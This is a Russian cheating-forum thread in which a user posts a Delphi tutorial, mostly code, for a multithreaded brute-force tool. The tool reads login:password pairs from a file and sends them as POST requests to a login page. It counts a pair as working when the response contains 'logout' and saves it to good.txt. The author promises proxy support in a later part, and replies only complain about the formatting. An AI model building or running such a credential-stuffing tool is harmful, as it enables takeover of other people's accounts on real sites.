Пишем многопоточный Brute - Форум - Cheat-Master.Ru | Читерский Форум | Читы для SAMP,CS,Minecraft,CoD,Warface | Продажа аккаунтов SAMP,WoT,Steam,Origin,Warface | Баги,статьи SAMP-RP,Advance-RP,Diamond-RP | Магазин аккаунтов SAMP-RP,Advance-RP,Diamond-RP,Steam,WoT,Warface

Страница 1 из 11
Модератор форума: Junger 
Форум » Программирование » Delphi Программирование » Пишем многопоточный Brute
Пишем многопоточный Brute
old_manДата: Пятница, 04.11.2016, 08:48 | Сообщение # 1
Боец
Сообщений: 213
Статус: Offline
Войдите на сайт или зарегистрируйтесь для просмотра полного содержимого темы.

чтобы понять схему работы нашего будущего приложения попробуем всё представить:
по нажатию на кнопку brute, программа должна начать вызывать нужное количество раз потоки (вызвать процедуру execute у потока). в свою очередь в процедуре execute должен стоять некий счётчик, который с каждым вызовом процедуры будет менять логин и пароль. тем самым мы получим много потоков, которые будут параллельно друг-другу посылать post - запросы на сервер, обрабатывать их и кидать их либо в goodfile, либо в badfile.
теперь что касается данных файлов. кто не читал, обязательно прочтите о синхронизации потоков, т.к. её мы тут будем активно использовать, именно с помощью методов sinchronize и будут происходить все обращения (записывание) к (в) файлам(ы).

я надеюсь что общий принцип понятен. а если нет, то станет понятен во время работы. поехали[1].
первым делом создадим новый проект (дабы не насиловать исходники старого, да и память освежить всегда полезно).
на форме у нас несколько меток (login tongue ass, good, bad, и 2 счётчика для good-ов и bad-ов). так же компонент updown, привязанный к edit1, кнопка открытия файла, кнопка brute, и memo для записи в него отчётов.
теперь идём дальше, как обычно сначала обработаем кнопку загрузки файла:
код:
procedure tform1.button1click(sender: tobject);
var op: topendialog; //переменная типа topendialog
begin
op:= topendialog.create(opendialog1); // инициализируем переменную
op:= opendialog1; //привязываем к компоненту

if op.execute then //если диалог вызван, то
lp.loadfromfile(op.filename); //в stringlist pl выгружаем данные из файла открытого в диалоге

end;
надо понимать переменную lp класса tstringlist мы должны создать и инициализировать заранее (инициализация в событии создания формы - oncreate).

так, теперь создадим поток:
код:
type
mythread = class(tthread)
private //приватные переменные потока для извлечения логинов и паролей
logpath: string; //извлечение логина
paspath: string; //извлечение пароля
res: integer; //переменная результата (результат - или брут успешен, или нет)
public
constructor create(createsuspended: boolean); //конструктор потока
procedure synch; // процедура синхронизации
protected
procedure execute; override; //процедура execute
end;
а теперь по-порядку. приватные переменные созданы для извлечения логина и пароля, а так же для контроля результата. кто читал первую часть статьи про написание brute, тот помнит, что логины и пароли мы делили с помощью свойств массива stringlist, в частности delimiter и delimitertext. сейчас же, что бы не засорять код и не плодить лишние переменные, будем разделять логины и пароли стандартными строковыми функциями, а ложить результат как раз в эти 2 переменные: logpath и paspath.

переменная же res будет служить счётчиком результата. т.е. если брут прошёл успешно и запрос вернул нам положительный результат, то в переменную res мы положим какое-либо значение, например цифру 1. если брут не успешен, то цифру -1. в итоге мы обработаем эти значения, и в соответствии с ними предпримем какие-либо действия (например если результат равен 1 - то в файл good.txt будет ложиться логин и пароль).

теперь что такое конструктор потока? в данном случае у нас конструктор события create. это что-то вроде свойства create у формы, т.е. что мы пропишем в обработчик конструктора, то и выполнится при создании потока.
сразу его пропишем:
код:
constructor mythread.create(createsuspended: boolean);

begin
inherited create(createsuspended);
end;
процедура synch будет служить процедурой синхронизации (вопросы что да на(МАТ) зачем оставь при себе, надо было читать предыдущие статьи. в частности синхронизацию потоков я описывал до этого).

вроде разобрались с объявление потока. теперь создадим обработчик события onclick на кнопке brute! и напишем там следующее:
//добавляем глобальные переменные
код:
var
goodfile, badfile: textfile;
acc, thread: integer;
work: boolean;

//процедура onclick кнопки brute!:
procedure tform1.button2click(sender: tobject);
begin
assignfile(goodfile, extractfilepath(application.exename)+'good.txt' wink ; //привязываем переменную goodfile к пути проекта+good.txt
rewrite(goodfile); //записываем goodfile
closefile(goodfile); //закрываем goodfile

assignfile(badfile, extractfilepath(application.exename)+'bad.txt' wink ; //аналогично поступаем и с badfile
rewrite(badfile);
closefile(badfile);

acc:= -1; //переменная acc - отвечает за текущую строку в stringlist'е с логинами и паролями. ставим ей значение -1, т.к. в последующем она будет
инкриментирована.
work:= true; // work будет проверять, есть ли ещё не проверенные строки в stringlist'е и выдавать значение. если true- то поток продолжает работу. если false - то прекращает.
label4.caption:= '0'; //счётчик good'ов
label6.caption:= '0'; //счётчик bad'ов

for thread:=1 to strtoint(edit1.text) do //самый ответственный момент, запускаем потоки. потоки от одного, до кол-ва введённого пользователем.
mythread.create(false); //запуск.

thread:= strtoint(edit1.text); //в переменную thread ложится количество потоков введённых пользователем (переменная становится счётчиком потоков)
end;

procedure tform1.formcreate(sender: tobject);
begin
lp:= tstringlist.create;
cs:= tcriticalsection.create; // об этом позже smile
end;
теперь ставим курсор на процедуру execute в потоке, нажимаем ctrl+shift+c и переходим на обработчик процедуры.
там у нас будет обычный post-запрос с выдранным логином и паролем:
код:
procedure mythread.execute;
var
nast: integer; //переменная, обрабатывающая действующую строку с логином и паролем
param: tstringlist; // параметры для post
result: tstringlist; //переменная для проверки результата
http: tidhttp; //переменная типа tidhttp
begin
inherited;

while work do //пока work=true делаем:

begin
cs.enter; //вход в критическую секцию
inc(acc); //инкриментируем переменную acc
if acc < lp.count then nast:=acc else work:= false; //если acc < количества строк в файле логина и пароля, то curacc = acc, иначе work=false;
cs.leave; //выход из критической секции

if work then //если work = true, то
begin
http:= tidhttp.create(nil); //инициализация переменной http как объект класса tidhttp
logpath:= copy(lp[nast],1,pos(':',lp[nast])-1); //выдираем логин (внимание! вот это и есть то самое динамическое действие в потоке)
paspath:= copy(lp[nast], pos(':', lp[nast])+1, length(lp[nast])); //выдираем пароль

result:= tstringlist.create; //типичный post-запрос
param:= tstringlist.create;
param.add('log='+logpath);
param.add('pwd='+paspath);
result.text:= http.post('сайт',param);
if pos('logout',result.text) <> 0 then res:=1 else res:=-1; //если в массиве result есть значение 'logout', то res=1, иначе res=-1.
http.free; //освобождаем переменную
param.free; //освобождаем переменную
synchronize(synch); // процедура synch синхронизирована с помощью метода synchronize

end;

end;
dec(thread); // уменьшаем количество потоков на 1
if thread=0 then showmessage('брутфорс закончен' wink ; // если количество потоков = 0 тогда вызываем сообщение
end;
а теперь рассмотрим то, "о чём позже" - критические секции. тебя наверное заинтересовал этот код:
код:
cs.enter; //вход в критическую секцию
inc(acc); //инкриментируем переменную acc
if acc < lp.count then nast:=acc else work:= false; //если acc < количества строк в файле логина и пароля, то curacc = acc, иначе work=false;
cs.leave; //выход из критической секции
объясняю. при работе с потоками, когда работают параллельно несколько потоков, и работают они с одними и теми же переменными, обязательно надо использовать критические секции. это очень полезная вещь, которая к переменной в настоящий момент допускает лишь 1 поток. в нашем случае в критической секции значение переменной acc увеличивается на 1. но если потоки работают параллельно, и без этих секций, то acc (а эта переменная означает строку в stringlist'е) будет увеличиваться сразу на 1 несколько раз, в итоге потоки сработают неправильно, выдадут не верный результат. а критическая секция допускает 1 поток, пропускает его через себя, и лишь потом допускает второй. и ещё, либа критических секций прописывается в библиотеки отдельно, и зовётся он syncobjs. надеюсь общий принцип понятен.
код:
procedure mythread.synch;
begin
case res of // если res =
1: begin // 1, то:
form1.label4.caption:= inttostr(strtoint(form1.label4.caption)+1);
append(goodfile); // открываем для записи файл goodfile
writeln(goodfile, logpath+':'+paspath); // записываем в него логин : пароль
closefile(goodfile); // закрываем
end;
-1: begin
form1.label6.caption:= inttostr(strtoint(form1.label6.caption)+1);
append(badfile); // аналогично
writeln(badfile, logpath+':'+paspath);
closefile(badfile);
end;
end;
end;
в принципе и всё, работа многопоточного брута показана. в данном случае показан самый просто пример. если будет интерес, сделаю ещё 2-3 части, про прокси и про оптимизацию.
спасибо за внимание.


Главное в жизни - не терять любопытства
Последние товары с игрового магазина:
Найти еще что-нибудь в магазине:
ChesterHeliumДата: Понедельник, 22.05.2017, 09:13 | Сообщение # 2
Боец
Сообщений: 201
Статус: Offline
Войдите на сайт или зарегистрируйтесь для просмотра полного содержимого темы.

копировать > вставить facepalm

ты хотя бы код программы в [code] занес, ибо нереальная каша
тему на стороннем сайте видел

брут не эффективен
и memo нигде не описывается, зачем оно тогда тут ?





Бесплатно отправляем смс-сообщения
Обход подписи в 255 символов на SAMP-RP
Способ накрутки личных сообщений в ВК
Халявные дедики
[DELPHI] - Выключение компьютера по Button'у
[DELPHI] - Запрос логина и пароля на форме
Делаем убийственные .BAT файлы
Скрипт для e-mail рассылки до 100к в сутки
Обход авторизации на бесплатных точках WiFi
Флэшка - убийца для быстрого сноса винды
Расширение для Google Chrome - Бесконечный набор сообщения (Бесконечный карандаш)
Заливаем фотографии / смотрим истории в instagram с компьютера
Получаем письма с Америки, Канады, Аляски и т.д. с оф. нашивками пожарных

» Кликай « - ПЛАТНЫЕ НАБОРЫ СТИКЕРОВ БЕСПЛАТНО!
Последние товары с игрового магазина:
Найти еще что-нибудь в магазине:
KsardasДата: Понедельник, 22.05.2017, 22:37 | Сообщение # 3
TOP CHEATER✅
Сообщений: 482
Статус: Online
Войдите на сайт или зарегистрируйтесь для просмотра полного содержимого темы.

Оформи нормально пожалуйста,ничего не понятно dry

[CLEO] Сохранение машины by Ksardas - http://cheat-master.ru/forum/129-696227-1
[CLEO] Изменяем стиль походки - http://cheat-master.ru/forum/129-696757-1
[Руководство] Бот для VK отвечающий на пришедшие сообщения - http://cheat-master.ru/forum/117-696439-1
[Мануал] Рыбалка - http://cheat-master.ru/forum/117-694977-1
Vpn - что это и "с чем его едят" - http://cheat-master.ru/forum/25-695859-1
Сборник Porsche для GTA SA - http://cheat-master.ru/forum/108-696060-1
[Статья] Как сделать твой сайт посещаемым? - http://cheat-master.ru/forum/115-696182-1
Простой скрипт поиска по сайту - http://cheat-master.ru/forum/122-696185-1
[Delphi] Как сэкономить память в ваших программах - http://cheat-master.ru/forum/119-696423-1
Смотрим статистику игроков CS:GO - http://cheat-master.ru/forum/219-696567-1
[C#] Исходник флудера - http://cheat-master.ru/forum/118-696974-1
[Бесплатно] 7 ПАКОВ+РУБАШКА GALAXY - http://cheat-master.ru/forum/256-697681-1
Как автоматически отправить много репортов в Steam - http://cheat-master.ru/forum/219-698581-1
[DOTA 2]Изменение дистанции камеры - http://cheat-master.ru/forum/224-698583-1
Приват моды оружия SAMP и Сolor Mode - http://cheat-master.ru/forum/108-698591-1
GTA:SA | Причины крашей - http://cheat-master.ru/forum/14-699692-1
[C++] Создание Сhameleon WallHack на примере CS:GO - http://cheat-master.ru/forum/118-699720-1
Последние товары с игрового магазина:
Найти еще что-нибудь в магазине:
Форум » Программирование » Delphi Программирование » Пишем многопоточный Brute
Страница 1 из 11
Поиск:
Статистика Форума
Последнии темы Читаемые темы Лучшие пользователи Новые пользователи
[ASI] Топовая графика для... [waybach]

[CLEO] Тюнинг. [waybach]

"[1692750] iFeed_, П... [2lour]

Скрытая обнова от разрабо... [[Avicii]]

СЛИВЫ АДМИНОК/ЛОГОВ И ПРО... [prostick]

Скупка/Продажа виртов SRP... [Rofiro[CМ]]

[SF Plugin] - Несбиваемая... [waybach]

Помогите найти. [[CM]Binco]

Бесконечный бег [Cleo] [waybach]

[DRP] РАСПОЛОЖЕНИЕ ДОМОВ ... [VADE]

[1]>S0beit - pr9n project for samp 0.3.7 [9466]

[2]>RakBot 0.7.3 - прокачка аккаунтов без GTA [9261]

[3]>Часто задаваемые вопросы... [8161]

[4]>Скуплю Advance по 300р за 1кк и DIamond по 250р [7629]

[5]>Вопросы и ответы [6331]

[6]>[0.3.7][RUS] Sobeit modified by MishaN [6178]

[7]>Продажа вирт 1кк АРП~400р ДРП~400р.СРП~150р. [6096]

[8]>SAMP-Bot 0.5.9.1 by Jamely [4711]

[9]>Бесконечное слово [4597]

[10]>[Samp-Rp.Ru]Обновлен список Админов [4128]

[11]>[CLEO] Вопрос - Ответ [4083]

[12]>Курилка [3166]

[1]>АК_47 [25307]

[2]>GеNius [6554]

[3]>romka619 [5384]

[4]>[CM]AGRESSOR [4649]

[5]>[CM]Russel [4614]

[6]>Сэс [4423]

[7]>Snake_Firm [4173]

[8]>Artem_Buero [4037]

[9]>[CM]Durman [3186]

[10]>sky_Woker [3007]

[11]>iMaddy [2869]

[12]>Sa1nteD [2668]

[13]>Logan™ [2511]

[14]>Ch0c0Cube [2422]

[15]>[CM]Рафаэль [2215]

stone-island [27.06.2017|22:08]

YurKa13123 [27.06.2017|22:07]

КЕНТАВР [27.06.2017|22:00]

Mirror7x [27.06.2017|21:52]

Forces0807 [27.06.2017|21:51]

happy353 [27.06.2017|21:45]

Fazan4ik [27.06.2017|21:44]

Vahit [27.06.2017|21:40]

Kof3st3124 [27.06.2017|21:39]

Fert_Falower [27.06.2017|21:38]

Vlasho4ek [27.06.2017|21:38]

lamborjini [27.06.2017|21:34]

Alb12301 [27.06.2017|21:34]

karabok72 [27.06.2017|21:22]

miha1207 [27.06.2017|21:18]


CM Team © 2009-2017 Администрация не несёт ответственности за размещённые материалы. Условия пользования
Все материалы предоставлены в ознакомительных целях и администрация предлагает удалить их после ознакомления.

Положение о защите персональных данных на сайте, Пользовательское соглашение, Договор оказания услуг.